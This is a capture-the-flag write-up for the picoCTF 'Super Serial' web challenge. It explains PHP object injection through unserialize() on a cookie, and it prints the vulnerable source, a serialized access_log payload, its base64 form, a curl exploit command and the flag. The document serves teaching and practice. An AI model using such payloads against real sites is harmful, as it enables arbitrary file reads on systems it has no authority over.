Share
## https://sploitus.com/exploit?id=C0DE924D-F90D-5547-BAB9-F12E4EAD6A4C
# picoCTF โ€” Super Serial

**Category:** Web Exploitation  
**Difficulty:** Medium  
**Points:** 130  
**Event:** picoCTF 2021  
**Author:** madStacks  
**Flag:** `picoCTF{1_c4nn0t_s33_y0u_2fba20fa}`

---

## Challenge Description

> Try to recover the flag stored on this website.

Target: `http://wily-courier.picoctf.net:56173/`

---

## Vulnerability

**PHP Object Injection via Insecure Deserialization**

The application deserializes a user-controlled cookie (`login`) using PHP's `unserialize()` without any class whitelisting or input validation. The deserialized object is then used directly. When deserialization results in a type mismatch error, the `$perm` variable is cast to string inside the `die()` call โ€” triggering the `__toString()` magic method on whatever object was injected. This is exploited through the `access_log` class which reads arbitrary files in `__toString()`.

---

## Reconnaissance

### Step 1 โ€” robots.txt

Navigating to `/robots.txt` reveals a disallowed entry:

```
Disallow: /admin.phps
```

The `.phps` extension is significant. PHP servers configured with `phps` serve raw, syntax-highlighted PHP source instead of executing it. This is a source code disclosure primitive.

### Step 2 โ€” Source Code Disclosure via .phps

Three source files are readable by appending `.s` to the `.php` extension:

- `/index.phps`
- `/authentication.phps`
- `/cookie.phps`

**index.phps** confirms `cookie.php` is required on every page and reveals a redirect to `authentication.php` on successful login.

**cookie.phps** contains the vulnerable deserialization code:

```php
if(isset($_COOKIE["login"])){
    try{
        $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
        $g = $perm->is_guest();
        $a = $perm->is_admin();
    }
    catch(Error $e){
        die("Deserialization error. ".$perm);
    }
}
```

The critical observation: the `catch` block concatenates `$perm` into a string. PHP string concatenation on an object invokes `__toString()`. If `$perm` is not a `permissions` object, `is_guest()` throws, the catch fires, and `__toString()` is called on our injected object.

**authentication.phps** contains the `access_log` class:

```php
class access_log {
    public $log_file;

    function __construct($lf) {
        $this->log_file = $lf;
    }

    function __toString() {
        return $this->read_log();
    }

    function append_to_log($data) {
        file_put_contents($this->log_file, $data, FILE_APPEND);
    }

    function read_log() {
        return file_get_contents($this->log_file);
    }
}
```

`__toString()` calls `read_log()` which calls `file_get_contents($this->log_file)` โ€” arbitrary file read. The `log_file` property is public and fully attacker-controlled via deserialization.

---

## Exploit Chain

```
Attacker crafts serialized access_log object
    log_file = "../flag"
        |
        v
Base64 + URL encode -> set as "login" cookie
        |
        v
Server: unserialize() -> $perm = access_log{log_file: "../flag"}
        |
        v
Server: $perm->is_guest() -> Fatal Error (method does not exist on access_log)
        |
        v
catch(Error $e): die("Deserialization error. " . $perm)
        |
        v
String concatenation -> $perm->__toString() -> read_log() -> file_get_contents("../flag")
        |
        v
Flag is printed to response
```

---

## Serialized Payload

The PHP serialized representation of the `access_log` object targeting `../flag`:

```
O:10:"access_log":1:{s:8:"log_file";s:7:"../flag";}
```

Base64 encoded:

```
TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9
```

---

## Execution

### Manual โ€” curl

```bash
curl http://wily-courier.picoctf.net:56173/authentication.php \
  --cookie "login=TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9"
```

**Response:**

```
Deserialization error. picoCTF{1_c4nn0t_s33_y0u_2fba20fa}
```

### Automated โ€” Python exploit script

```bash
python3 exploit/exploit.py --host wily-courier.picoctf.net --port 56173
```

See [`exploit/exploit.py`](exploit/exploit.py) for the full script.

---

## Screenshots

| Description | File |
|---|---|
| Challenge page | [`screenshots/challenge.png`](screenshots/challenge.png) |
| Exploit output in CyLab webshell | [`screenshots/exploit_output.png`](screenshots/exploit_output.png) |

**Challenge page:**

![Challenge](screenshots/challenge.png)

**Exploit output:**

![Exploit output](screenshots/exploit_output.png)

---

## Source Files Referenced

| File | Role |
|---|---|
| `index.phps` | Entry point; requires `cookie.php`; redirects to `authentication.php` |
| `cookie.phps` | Vulnerable `unserialize()` on the `login` cookie |
| `authentication.phps` | Contains `access_log` class with `__toString()` file read gadget |

---

## Key Concepts

- **PHP Object Injection:** Supplying a crafted serialized string to `unserialize()` to instantiate an arbitrary class present in the application's codebase (a "gadget").
- **Magic Methods:** PHP's `__toString()` is automatically called when an object is used in a string context. The exploit reaches `__toString()` through the error handler's string concatenation.
- **`.phps` Source Disclosure:** A misconfigured PHP server exposes `.phps` files as source โ€” this was the prerequisite for identifying both the sink (`unserialize`) and the gadget (`access_log`).
- **Gadget Chain:** The full path from attacker input to arbitrary file read: injected object โ†’ `is_guest()` TypeError โ†’ `catch` string concat โ†’ `__toString()` โ†’ `read_log()` โ†’ `file_get_contents()`.

---

## References

- [PortSwigger: PHP Deserialization](https://portswigger.net/web-security/deserialization)
- [PHP Manual: Magic Methods](https://www.php.net/manual/en/language.oop5.magic.php)
- [PHP Manual: unserialize()](https://www.php.net/manual/en/function.unserialize.php)

---

*Writeup by [6876h9](https://github.com/6876h9)*